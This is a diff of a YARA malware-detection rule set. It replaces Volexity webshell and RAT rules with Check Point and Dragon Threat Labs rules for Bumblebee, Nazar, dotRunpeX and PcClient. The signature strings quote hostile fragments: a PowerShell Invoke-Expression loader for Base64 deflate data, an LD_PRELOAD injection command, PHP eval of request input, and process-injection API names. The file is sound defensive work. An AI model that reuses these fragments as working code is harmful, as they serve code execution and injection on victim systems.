+		logic_hash = "c6ae0b4fb6cae16ae8d71e238f7753e0eadd23820507616fa2331375f4403052"
 		score = 75
-		quality = 80
-		tags = "SHARPTONGUE"
-		hash1 = "1c9664513fe226beb53268b58b11dacc35b80a12c50c22b76382304badf4eb00"
-		hash2 = "6025c66c2eaae30c0349731beb8a95f8a5ba1180c5481e9a49d474f4e1bb76a4"
-		hash3 = "6594b75939bcdab4253172f0fa9066c8aee2fa4911bd5a03421aeb7edcd9c90c"
-		memory_suitable = 1
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		quality = 85
+		tags = "FILE"
+		hash1_New = "373a86e36f7e808a1db263b4b49d2428df4a13686da7d77edba7a6dd63790232"
+		hash2_New = "41ea8f9a9f2a7aeb086dedf8e5855b0409f31e7793cbba615ca0498e47a72636"
+		hash3_New = "5e3588e8ddebd61c2bd6dab4b87f601bd6a4857b33eb281cb5059c29cfe62b80"
+		hash4_New = "8c451b84d9579b625a7821ad7ddcb87bdd665a9e6619eaecf6ab93cd190cf504"
+		hash5_New = "8fa81f6341b342afa40b7dc76dd6e0a1874583d12ea04acf839251cb5ca61591"
+		hash6_New = "cd4c821e329ec1f7bfe7ecd39a6020867348b722e8c84a05c7eb32f8d5a2f4db"
+		hash7_New = "fa8a67642514b69731c2ce6d9e980e2a9c9e409b3947f2c9909d81f6eac81452"
+		hash8_New = "eb2e2ac0f5f51d90fe90b63c3c385af155b2fee30bc3dc6309776b90c21320f5"
+		hash1_Old = "1e7614f757d40a2f5e2f4bd5597d04878768a9c01aa5f9f23d6c87660f7f0fbc"
+		hash2_Old = "317e6817bba0f54e1547dd9acf24ee17a4cda1b97328cc69dc1ec16e11c258fc"
+		hash3_Old = "65cac67ed2a084beff373d6aba6f914b8cba0caceda254a857def1df12f5154b"
+		hash4_Old = "68ae2ee5ed7e793c1a49cbf1b0dd7f5a3de9cb783b51b0953880994a79037326"
+		hash5_Old = "81763d8e3b42d07d76b0a74eda4e759981971635d62072c8da91251fc849b91e"
 
 	strings:
-		$s1 = "\"mode=attach&name=\"" ascii
-		$s2 = "\"mode=new&mid=\"" ascii
-		$s3 = "\"mode=attlist\"" ascii
-		$s4 = "\"mode=list\"" ascii
-		$s5 = "\"mode=domain\"" ascii
-		$s6 = "\"mode=black\"" ascii
-		$s7 = "\"mode=newD&d=\"" ascii
-		$mark1 = "chrome.runtime.onMessage.addListener" ascii
-		$mark2 = "chrome.webNavigation.onCompleted.addListener" ascii
-		$enc1 = "function BSue(string){" ascii
-		$enc2 = "function BSE(input){" ascii
-		$enc3 = "function bin2hex(byteArray)" ascii
-		$xhr1 = ".send(\"mode=cd1" ascii
-		$xhr2 = ".send(\"mode=black" ascii
-		$xhr3 = ".send(\"mode=domain" ascii
-		$xhr4 = ".send(\"mode=list" ascii
-		$manifest1 = "\"description\":\"advanced font\"," ascii
-		$manifest2 = "\"scripts\":[\"bg.js\"]" ascii
-		$manifest3 = "\"devtools_page\":\"dev.html\"" ascii
+		$implmap1 = "VirtualAllocEx"
+		$implmap2 = "CreateProcess"
+		$implmap3 = "CreateRemoteThread"
+		$implmap4 = "Wow64SetThreadContext"
+		$implmap5 = "Wow64GetThreadContext"
+		$implmap6 = "RtlInitUnicodeString"
+		$implmap7 = "NtLoadDriver"
+		$implmap8 = "LoadLibrary"
+		$implmap9 = "VirtualProtect"
+		$implmap10 = "AdjustTokenPrivileges"
+		$implmap11 = "GetProcAddress"
+		$modulerefKernel1 = "Kernel32"
+		$modulerefKernel2 = "kernel32"
+		$modulerefNtdll1 = "Ntdll"
+		$modulerefNtdll2 = "ntdll"
+		$regPath = "\\Registry\\Machine\\System\\CurrentControlSet\\Services\\TaskKill" wide
+		$rsrcName = "BIDEN_HARRIS_PERFECT_ASSHOLE" wide
+		$koiVM1 = "KoiVM"
+		$koiVM2 = "#Koi"
 
 	condition:
-		(5 of ($s*) and all of ($mark*)) or all of ($enc*) or 3 of ($xhr*) or 2 of ($manifest*)
+		uint16(0)==0x5a4d and uint16( uint32(0x3c))==0x4550 and ($regPath or $rsrcName or 1 of ($koiVM*)) and 9 of ($implmap*) and 1 of ($modulerefKernel*) and 1 of ($modulerefNtdll*)
 }
-rule VOLEXITY_Webshell_Java_Behinder_Shellservice : WEBSHELLS COMMODITY
+rule CHECK_POINT_Malware_Bumblebee_Packed
 {
 	meta:
-		description = "Looks for artifacts generated (generally seen in .class files) related to the Behinder framework."
-		author = "threatintel@volexity.com"
-		id = "21c1e3e9-d048-5c60-9c21-8e54b27f359a"
-		date = "2022-03-18"
-		modified = "2022-07-28"
-		reference = "https://github.com/MountCloud/BehinderClientSource/blob/master/src/main/java/net/rebeyond/behinder/core/ShellService.java"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2022/2022-06-15 DriftingCloud - Zero-Day Sophos Firewall Exploitation and an Insidious Breach/indicators/yara.yar#L1-L23"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "373a8d4ef81e9bbbf1f24ebf0389e7da4b73f88786cc8e1d286ccc9f4c36debc"
+		description = "Detects the packer used by bumblebee, the rule is based on the code responsible for allocating memory for a critical structure in its logic."
+		author = "Marc Salinas @ CheckPoint Research"
+		id = "35f00c87-c26e-5189-b66d-15d5a1b1dd20"
+		date = "2022-07-13"
+		modified = "2023-04-10"
+		reference = "https://research.checkpoint.com/2022/bumblebee-increasing-its-capacity-and-evolving-its-ttps/"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Checkpoint/malware_bumblebee_packed.yar#L1-L31"
+		license_url = "N/A"
+		logic_hash = "063209aad7ab8a0be46fd578a16b04afc086f930cbdb6c2f7b02824f704d7330"
 		score = 75
-		quality = 30
-		tags = "WEBSHELLS, COMMODITY"
-		hash1 = "9a9882f9082a506ed0fc4ddaedd50570c5762deadcaf789ac81ecdbb8cf6eff2"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		memory_suitable = 1
+		quality = 85
+		tags = ""
+		malware_family = "BumbleBee"
+		dll_jul = "6bc2ab410376c1587717b2293f2f3ce47cb341f4c527a729da28ce00adaaa8db"
+		dll_jun = "82aab01a3776e83695437f63dacda88a7e382af65af4af1306b5dbddbf34f9eb"
+		dll_may = "a5bcb48c0d29fbe956236107b074e66ffc61900bc5abfb127087bb1f4928615c"
+		iso_jul = "ca9da17b4b24bb5b24cc4274cc7040525092dffdaa5922f4a381e5e21ebf33aa"
+		iso_jun = "13c573cad2740d61e676440657b09033a5bec1e96aa1f404eed62ba819858d78"
+		iso_may = "b2c28cdc4468f65e6fe2f5ef3691fa682057ed51c4347ad6b9672a9e19b5565e"
+		zip_jun = "7024ec02c9670d02462764dcf99b9a66b29907eae5462edb7ae974fe2efeebad"
+		zip_may = "68ac44d1a9d77c25a97d2c443435459d757136f0d447bfe79027f7ef23a89fce"
 
 	strings:
-		$s1 = "CONNECT" ascii fullword
-		$s2 = "DISCONNECT" ascii fullword
-		$s3 = "socket_" ascii fullword
-		$s4 = "targetIP" ascii fullword
-		$s5 = "targetPort" ascii fullword
-		$s6 = "socketHash" ascii fullword
-		$s7 = "extraData" ascii fullword
+		$heapalloc = {
+            48 8? EC [1-6]           // sub     rsp, 80h
+            FF 15 ?? ?? 0? 00 [0-5]  // call    cs:GetProcessHeap
+            33 D2                    // xor     edx, edx        ; dwFlags
+            4? [2-5]                 // mov     rcx, rax        ; hHeap
+            4? ?? ??                 // mov     r8d, ebx        ; dwBytes
+            FF 15 ?? ?? 0? 00        // call    cs:HeapAlloc
+            [8 - 11]                 // (load params)
+            48 89 05 ?? ?? ?? 00     // mov     cs:HeapBufferPtr, rax
+            E8 ?? ?? ?? ??           // call    memset
+            4? 8B ?? ?? ?? ?? 00     // mov     r14, cs:HeapBufferPtr
+        }
 
 	condition:
-		all of them
+		$heapalloc
 }
-rule VOLEXITY_General_Java_Encoding_And_Classloader : WEBSHELLS GENERAL FILE
+rule CHECK_POINT_Apt_Nazar_Component_Guids
 {
 	meta:
-		description = "Identifies suspicious java-based files which have all the ingredients required for a webshell."
-		author = "threatintel@volexity.com"
-		id = "7de5449d-de70-5153-b1b1-8a995ac8b7a0"
-		date = "2022-04-07"
-		modified = "2022-07-28"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2022/2022-06-15 DriftingCloud - Zero-Day Sophos Firewall Exploitation and an Insidious Breach/indicators/yara.yar#L25-L43"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "21c226b03451eb98a8be5b26a9f00169f16454ecd21d4131c9991b63d2e3c8cd"
-		score = 65
-		quality = 80
-		tags = "WEBSHELLS, GENERAL, FILE"
-		hash1 = "0d5dc54ef77bc18c4c5582dca4619905605668cffcccc3829e43c6d3e14ef216"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		memory_suitable = 0
+		description = "Detect Nazar Components by COM Objects' GUID"
+		author = "Itay Cohen"
+		id = "1bdc0b54-4903-559d-9037-450470fc7ef7"
+		date = "2020-04-27"
+		modified = "2023-04-10"
+		reference = "https://research.checkpoint.com/2020/nazar-spirits-of-the-past/"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Checkpoint/apt_nazar_component_guids.yar#L1-L32"
+		license_url = "N/A"
+		hash = "1110c3e34b6bbaadc5082fabbdd69f492f3b1480724b879a3df0035ff487fd6f"
+		hash = "1afe00b54856628d760b711534779da16c69f542ddc1bb835816aa92ed556390"
+		hash = "2caedd0b2ea45761332a530327f74ca5b1a71301270d1e2e670b7fa34b6f338e"
+		hash = "2fe9b76496a9480273357b6d35c012809bfa3ae8976813a7f5f4959402e3fbb6"
+		hash = "460eba344823766fe7c8f13b647b4d5d979ce4041dd5cb4a6d538783d96b2ef8"
+		hash = "4d0ab3951df93589a874192569cac88f7107f595600e274f52e2b75f68593bca"
+		hash = "75e4d73252c753cd8e177820eb261cd72fecd7360cc8ec3feeab7bd129c01ff6"
+		hash = "8fb9a22b20a338d90c7ceb9424d079a61ca7ccb7f78ffb7d74d2f403ae9fbeec"
+		hash = "967ac245e8429e3b725463a5c4c42fbdf98385ee6f25254e48b9492df21f2d0b"
+		hash = "be624acab7dfe6282bbb32b41b10a98b6189ab3a8d9520e7447214a7e5c27728"
+		hash = "d34a996826ea5a028f5b4713c797247913f036ca0063cc4c18d8b04736fa0b65"
+		hash = "d9801b4da1dbc5264e83029abb93e800d3c9971c650ecc2df5f85bcc10c7bd61"
+		hash = "eb705459c2b37fba5747c73ce4870497aa1d4de22c97aaea4af38cdc899b51d3"
+		logic_hash = "9fb69a0ea7272f1b1cbb290ae81e08f7e2b2f6c5409bbca12d9b0b781cb4c267"
+		score = 75
+		quality = 85
+		tags = ""
 
 	strings:
-		$s1 = "javax.crypto.spec.SecretKeySpec" ascii
-		$s2 = "java/security/SecureClassLoader" ascii
-		$s3 = "sun.misc.BASE64Decoder" ascii
+		$guid1_godown = { 98 B3 E5 F6 DF E3 6B 49 A2 AD C2 0F EA 30 DB FE }
+		$guid2_godown = { 31 4B CB DB B8 21 0F 4A BC 69 0C 3C E3 B6 6D 00 }
+		$guid3_godown = { AF 94 4E B6 6B D5 B4 48 B1 78 AF 07 23 E7 2A B5 }
+		$guid4_filesystem = { 79 27 AB 37 34 F2 9D 4D B3 FB 59 A3 FA CB 8D 60 }
+		$guid6_filesystem = { 2D A1 2B 77 62 8A D3 4D B3 E8 92 DA 70 2E 6F 3D }
+		$guid5_filesystem = { AB D3 13 CF 1C 6A E8 4A A3 74 DE D5 15 5D 6A 88 }
 
 	condition:
-		filesize <50KB and all of them
+		any of them
 }
-rule VOLEXITY_Webshell_Php_Str_Replace_Create_Func : WEBSHELLS GENERAL FILE
+rule CHECK_POINT_Injector_ZZ_Dotrunpex : FILE
 {
 	meta:
-		description = "Looks for obfuscated PHP shells where create_function() is obfuscated using str_replace and then called using no arguments."
-		author = "threatintel@volexity.com"
-		id = "e0a5965c-54c3-5699-a45b-58f7152574dd"
-		date = "2022-04-04"
-		modified = "2022-07-28"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2022/2022-06-15 DriftingCloud - Zero-Day Sophos Firewall Exploitation and an Insidious Breach/indicators/yara.yar#L45-L73"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "6a9ded1f1a8e4b8ae5f3db06f71bec6e9f62b6126b7444408d6319a35ed23827"
+		description = "Detects new version of dotRunpeX - configurable .NET injector"
+		author = "Jiri Vinopal (jiriv)"
+		id = "6cdbe54b-2e8d-5f7b-81ac-983236d1449f"
+		date = "2022-10-30"
+		modified = "2023-04-10"
+		reference = "https://research.checkpoint.com/2023/dotrunpex-demystifying-new-virtualized-net-injector-used-in-the-wild/"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Checkpoint/injector_ZZ_dotRunpeX.yar#L1-L58"
+		license_url = "N/A"
+		logic_hash = "ca4336533f90598a6b6f594036e20595073e0e7cab5fcd186995c5c7f2be287e"
 		score = 75
-		quality = 80
-		tags = "WEBSHELLS, GENERAL, FILE"
-		hash1 = "c713d13af95f2fe823d219d1061ec83835bf0281240fba189f212e7da0d94937"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		memory_suitable = 0
+		quality = 83
+		tags = "FILE"
+		hash1 = "373a86e36f7e808a1db263b4b49d2428df4a13686da7d77edba7a6dd63790232"
+		hash2 = "41ea8f9a9f2a7aeb086dedf8e5855b0409f31e7793cbba615ca0498e47a72636"
+		hash3 = "5e3588e8ddebd61c2bd6dab4b87f601bd6a4857b33eb281cb5059c29cfe62b80"
+		hash4 = "8c451b84d9579b625a7821ad7ddcb87bdd665a9e6619eaecf6ab93cd190cf504"
+		hash5 = "8fa81f6341b342afa40b7dc76dd6e0a1874583d12ea04acf839251cb5ca61591"
+		hash6 = "cd4c821e329ec1f7bfe7ecd39a6020867348b722e8c84a05c7eb32f8d5a2f4db"
+		hash7 = "fa8a67642514b69731c2ce6d9e980e2a9c9e409b3947f2c9909d81f6eac81452"
+		hash8 = "eb2e2ac0f5f51d90fe90b63c3c385af155b2fee30bc3dc6309776b90c21320f5"
 
 	strings:
-		$php = "<?php"
-		$s = "=str_replace(" ascii
-		$anon_func = "(''," ascii
+		$implmap1 = "VirtualAllocEx"
+		$implmap2 = "CreateProcess"
+		$implmap3 = "CreateRemoteThread"
+		$implmap4 = "Wow64SetThreadContext"
+		$implmap5 = "Wow64GetThreadContext"
+		$implmap6 = "NtResumeThread"
+		$implmap7 = "ZwUnmapViewOfSection"
+		$implmap8 = "NtWriteVirtualMemory"
+		$implmap9 = "MessageBox"
+		$implmap10 = "Wow64DisableWow64FsRedirection"
+		$implmap11 = "Wow64RevertWow64FsRedirection"
+		$implmap12 = "CreateFile"
+		$implmap13 = "RtlInitUnicodeString"
+		$implmap14 = "NtLoadDriver"
+		$implmap15 = "NtUnloadDriver"
+		$implmap16 = "OpenProcessToken"
+		$implmap17 = "LookupPrivilegeValue"
+		$implmap18 = "AdjustTokenPrivileges"
+		$implmap19 = "CloseHandle"
+		$implmap20 = "NtQuerySystemInformation"
+		$implmap21 = "DeviceIoControl"
+		$implmap22 = "GetProcessHeap"
+		$implmap23 = "HeapFree"
+		$implmap24 = "HeapAlloc"
+		$implmap25 = "GetProcAddress"
+		$implmap26 = "CopyMemory"
+		$modulerefKernel1 = "Kernel32"
+		$modulerefKernel2 = "kernel32"
+		$modulerefNtdll1 = "Ntdll"
+		$modulerefNtdll2 = "ntdll"
+		$modulerefAdvapi1 = "Advapi32"
+		$modulerefAdvapi2 = "advapi32"
+		$regPath = "\\Registry\\Machine\\System\\CurrentControlSet\\Services\\TaskKill" wide
+		$rsrcName = "BIDEN_HARRIS_PERFECT_ASSHOLE" wide
+		$koiVM1 = "KoiVM"
+		$koiVM2 = "#Koi"
 
 	condition:
-		filesize <100KB and $php at 0 and for any i in (1..#s) : ( for any j in (1..#anon_func) : ( uint16be(@s[i]-2)== uint16be(@anon_func[j]-2)))
+		uint16(0)==0x5a4d and uint16( uint32(0x3c))==0x4550 and ($regPath or $rsrcName or 1 of ($koiVM*)) and 24 of ($implmap*) and 1 of ($modulerefKernel*) and 1 of ($modulerefNtdll*) and 1 of ($modulerefAdvapi*)
 }
-rule VOLEXITY_Trojan_Golang_Pantegana : COMMODITY
+/*
+ * YARA Rule Set
+ * Repository Name: Dragon Threat Labs
+ * Repository: https://github.com/mikesxrs/Open-Source-YARA-rules
+ * Retrieval Date: 2024-09-01
+ * Git Commit: ec0056f767db98bf6d5fd63877ad51fb54d350e9
+ * Number of Rules: 7
+ * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance)
+ *
+ *
+ * LICENSE
+ *
+ * NO LICENSE SET
+ */
+rule DRAGON_THREAT_LABS_Apt_C16_Win_Wateringhole
 {
 	meta:
-		description = "Detects PANTEGANA, a Golang backdoor used by a range of threat actors due to its public availability."
-		author = "threatintel@volexity.com"
-		id = "b6154165-68e0-5986-a0cf-5631d369c230"
-		date = "2022-03-30"
-		modified = "2022-07-28"
-		reference = "https://github.com/elleven11/pantegana"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2022/2022-06-15 DriftingCloud - Zero-Day Sophos Firewall Exploitation and an Insidious Breach/indicators/yara.yar#L75-L99"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "791a664a6b4b98051cbfacb451099de085cbab74d73771709377ab68a5a23d2b"
+		description = "Detects code from APT wateringhole"
+		author = "@dragonthreatlab"
+		id = "4958f894-91a7-56b4-90f0-40085c03382c"
+		date = "2015-01-11"
+		modified = "2016-09-27"
+		reference = "http://blog.dragonthreatlabs.com/2015/01/dtl-12012015-01-hong-kong-swc-attack.html"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Dragonthreatlabs/apt_c16_win_wateringhole.yar#L1-L14"
+		license_url = "N/A"
+		logic_hash = "e866499ec77984f5bacf3f5e352393b63e0dd08fd8fd57b4990292a1dc7fbcbe"
 		score = 75
 		quality = 80
-		tags = "COMMODITY"
-		hash1 = "8297c99391aae918f154077c61ea94a99c7a339166e7981d9912b7fdc2e0d4f0"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		memory_suitable = 1
+		tags = ""
 
 	strings:
-		$s1 = "RunFingerprinter" ascii
-		$s2 = "SendSysInfo" ascii
-		$s3 = "ExecAndGetOutput" ascii
-		$s4 = "RequestCommand" ascii
-		$s5 = "bindataRead" ascii
-		$s6 = "RunClient" ascii
-		$magic = "github.com/elleven11/pantegana" ascii
+		$str1 = "function runmumaa()"
+		$str2 = "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String("
+		$str3 = "function MoSaklgEs7(k)"
 
 	condition:
-		5 of ($s*) or $magic
+		any of ($str*)
 }
-rule VOLEXITY_Trojan_Any_Pupyrat_B : COMMODITY
+import "pe"
+
+rule DRAGON_THREAT_LABS_Apt_C16_Win_Memory_Pcclient : MEMORY APT
 {
-	meta:
-		description = "Detects the PUPYRAT malware family, a cross-platform RAT written in Python."
-		author = "threatintel@volexity.com"
-		id = "1da1e5ba-cf00-5935-b3d1-0ff2713b7e34"
-		date = "2022-04-07"
-		modified = "2022-07-28"
-		reference = "https://github.com/n1nj4sec/pupy"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2022/2022-06-15 DriftingCloud - Zero-Day Sophos Firewall Exploitation and an Insidious Breach/indicators/yara.yar#L101-L134"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "65eebfea2338deed682693f048a88d46ea4621177acb77c0642583b0dc35c818"
+	meta:
+		description = "File matching the md5 above tends to only live in memory, hence the lack of MZ header check."
+		author = "@dragonthreatlab"
+		id = "59333cd4-b532-510e-afe5-fc3b2e96698f"
+		date = "2015-01-11"
+		modified = "2016-09-27"
+		reference = "http://blog.dragonthreatlabs.com/2015/01/dtl-12012015-01-hong-kong-swc-attack.html"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Dragonthreatlabs/apt_c16_win_memory_pcclient.yar#L4-L19"
+		license_url = "N/A"
+		hash = "ec532bbe9d0882d403473102e9724557"
+		logic_hash = "e863fcbcbde61db569a34509061732371143f38734a0213dc856dc3c9188b042"
 		score = 75
 		quality = 80
-		tags = "COMMODITY"
-		hash1 = "7474a6008b99e45686678f216af7d6357bb70a054c6d9b05e1817c8d80d536b4"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		memory_suitable = 1
+		tags = "MEMORY, APT"
 
 	strings:
-		$elf1 = "LD_PRELOAD=%s HOOK_EXIT=%d CLEANUP=%d exec %s 1>/dev/null 2>/dev/null" ascii
-		$elf2 = "reflective_inject_dll" fullword ascii
-		$elf3 = "ld_preload_inject_dll" fullword ascii
-		$pupy1 = "_pupy.error" ascii
-		$pupy2 = "_pupy" ascii
-		$pupy3 = "pupy://" ascii
-		$s1 = "Args not passed" ascii
-		$s2 = "Too many args" ascii
-		$s3 = "Can't execute" ascii
-		$s4 = "mexec:stdin" ascii
-		$s5 = "mexec:stdout" ascii
-		$s6 = "mexec:stderr" ascii
-		$s7 = "LZMA error" ascii
+		$str1 = "Kill You" ascii
+		$str2 = "%4d-%02d-%02d %02d:%02d:%02d" ascii
+		$str3 = "%4.2f  KB" ascii
+		$encodefunc = {8A 08 32 CA 02 CA 88 08 40 4E 75 F4}
 
 	condition:
-		any of ($elf*) or all of ($pupy*) or all of ($s*)
+		all of them
 }
-rule VOLEXITY_General_Php_Fileinput_Eval : WEBSHELLS GENERAL
+import "pe"
+
+rule DRAGON_THREAT_LABS_Apt_C16_Win_Disk_Pcclient : DISK
 {
 	meta:
-		description = "Look for PHP files which use file_get_contents and then shortly afterwards use an eval statement."
-		author = "threatintel@volexity.com"
-		id = "c00d8fee-f667-5979-ad2a-dbb762544c2f"
-		date = "2021-06-16"
-		modified = "2022-07-28"
-		reference = "https://github.com/volexity/threat-intel"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2022/2022-06-15 DriftingCloud - Zero-Day Sophos Firewall Exploitation and an Insidious Breach/indicators/yara.yar#L136-L152"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "c61f0ee13007e398f45711354a1ca948f7f34893c9bcbdf845be932b63bd746d"
+		description = "Encoded version of pcclient found on disk"
+		author = "@dragonthreatlab"
+		id = "40e9133c-60e8-5fec-be56-1115c8bde9b1"
+		date = "2015-01-11"
+		modified = "2016-09-27"
+		reference = "http://blog.dragonthreatlabs.com/2015/01/dtl-12012015-01-hong-kong-swc-attack.html"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Dragonthreatlabs/dragonthreatlabs_index.yara#L21-L33"
+		license_url = "N/A"
+		hash = "55f84d88d84c221437cd23cdbc541d2e"
+		logic_hash = "47e9588ef1f350ee0d2aecc7686d9e4df1ad6c19f27d749e31340eff7e31adcb"
 		score = 75
 		quality = 80
-		tags = "WEBSHELLS, GENERAL"
-		hash1 = "1a34c43611ee310c16acc383c10a7b8b41578c19ee85716b14ac5adbf0a13bd5"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		memory_suitable = 0
+		tags = "DISK"
 
 	strings:
-		$s1 = "file_get_contents(\"php://input\");"
-		$s2 = "eval("
+		$header = {51 5C 96 06 03 06 06 06 0A 06 06 06 FF FF 06 06 BE 06 06 06 06 06 06 06 46 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 EE 06 06 06 10 1F BC 10 06 BA 0D D1 25 BE 05 52 D1 25 5A 6E 6D 73 26 76 74 6F 67 74 65 71 26 63 65 70 70 6F 7A 26 64 69 26 74 79 70 26 6D 70 26 4A 4F 53 26 71 6F 6A 69 30 11 11 0C 2A 06 06 06 06 06 06 06 73 43 96 1B 37 24 00 4E 37 24 00 4E 37 24 00 4E BA 40 F6 4E 39 24 00 4E 5E 41 FA 4E 33 24 00 4E 5E 41 FC 4E 39 24 00 4E 37 24 FF 4E 0D 24 00 4E FA 31 A3 4E 40 24 00 4E DF 41 F9 4E 36 24 00 4E F6 2A FE 4E 38 24 00 4E DF 41 FC 4E 38 24 00 4E 54 6D 63 6E 37 24 00 4E 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 56 49 06 06 52 05 09 06 5D 87 8C 5A 06 06 06 06 06 06 06 06 E6 06 10 25 0B 05 08 06 06 1C 06 06 06 1A 06 06 06 06 06 06 E5 27 06 06 06 16 06 06 06 36 06 06 06 06 06 16 06 16 06 06 06 04 06 06 0A 06 06 06 06 06 06 06 0A 06 06 06 06 06 06 06 06 76 06 06 06 0A 06 06 06 06 06 06 04 06 06 06 06 06 16 06 06 16 06 06}
 
 	condition:
-		$s2 in (@s1[1]..@s1[1]+512)
+		$header at 0
 }
-rule VOLEXITY_General_Php_Call_User_Func : GENERAL WEBSHELLS
+import "pe"
+
+rule DRAGON_THREAT_LABS_Apt_C16_Win32_Dropper : DROPPER FILE
 {
 	meta:
-		description = "Webshells using call_user_func against an object from a file input or POST variable."
-		author = "threatintel@volexity.com"
-		id = "48c7857e-7dda-5e3f-b82c-7d34c251f083"
-		date = "2021-06-16"
-		modified = "2022-07-28"
-		reference = "https://zhuanlan.zhihu.com/p/354906657"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2022/2022-06-15 DriftingCloud - Zero-Day Sophos Firewall Exploitation and an Insidious Breach/indicators/yara.yar#L154-L170"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "46c999da97682023861e58f9cd2c8651480db990a0361c1985c6d5c35b5bf0ea"
+		description = "APT malware used to drop PcClient RAT"
+		author = "@dragonthreatlab"
+		id = "a1546f02-f01b-50ba-b4d9-9676e52dc4c1"
+		date = "2015-01-11"
+		modified = "2016-09-27"
+		reference = "http://blog.dragonthreatlabs.com/2015/01/dtl-12012015-01-hong-kong-swc-attack.html"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Dragonthreatlabs/dragonthreatlabs_index.yara#L35-L52"
+		license_url = "N/A"
+		hash = "ad17eff26994df824be36db246c8fb6a"
+		logic_hash = "bb29bcf5e62cb1a55d7f0cb87b53bace26b99f858513dc4e544d531f70f54281"
 		score = 75
-		quality = 80
-		tags = "GENERAL, WEBSHELLS"
-		hash1 = "40b053a2f3c8f47d252b960a9807b030b463ef793228b1670eda89f07b55b252"
-		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
-		memory_suitable = 0
+		quality = 28
+		tags = "DROPPER, FILE"
 
 	strings:
-		$s1 = "@call_user_func(new C()" wide ascii
+		$mz = {4D 5A}
+		$str1 = "clbcaiq.dll" ascii
+		$str2 = "profapi_104" ascii
+		$str3 = "/ShowWU" ascii
+		$str4 = "Software\\Microsoft\\Windows\\CurrentVersion\\" ascii
+		$str5 = {8A 08 2A CA 32 CA 88 08 40 4E 75 F4 5E}
 
 	condition:
-		$s1
+		$mz at 0 and all of ($str*)
 }
-rule VOLEXITY_Webshell_Php_Icescorpion : COMMODITY WEBSHELL FILE
+import "pe"
+
+rule DRAGON_THREAT_LABS_Apt_C16_Win_Swisyn : MEMORY FILE
 {
 	meta:
-		description = "Detects the IceScorpion webshell."
-		author = "threatintel@volexity.com"
-		id = "dd165d67-375e-5d51-825a-45241345e268"
-		date = "2022-01-17"
-		modified = "2022-07-28"
-		reference = "https://www.codenong.com/cs106064226/"
-		source_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/2022/2022-06-15 DriftingCloud - Zero-Day Sophos Firewall Exploitation and an Insidious Breach/indicators/yara.yar#L172-L190"
-		license_url = "https://github.com/volexity/threat-intel/blob/1d68065c8220c284eedd487747bfd41c1ed1d519/LICENSE.txt"
-		logic_hash = "0c75ec7cbbfdba8ce5f71a83d78caf19366954b84f304c1864e68bbe11a9a2df"
+		description = "File matching the md5 above tends to only live in memory, hence the lack of MZ header check."
+		author = "@dragonthreatlab"
+		id = "af369075-aca3-576d-a10b-849703ffb4f1"
+		date = "2015-01-11"
+		modified = "2016-09-27"
+		reference = "http://blog.dragonthreatlabs.com/2015/01/dtl-12012015-01-hong-kong-swc-attack.html"
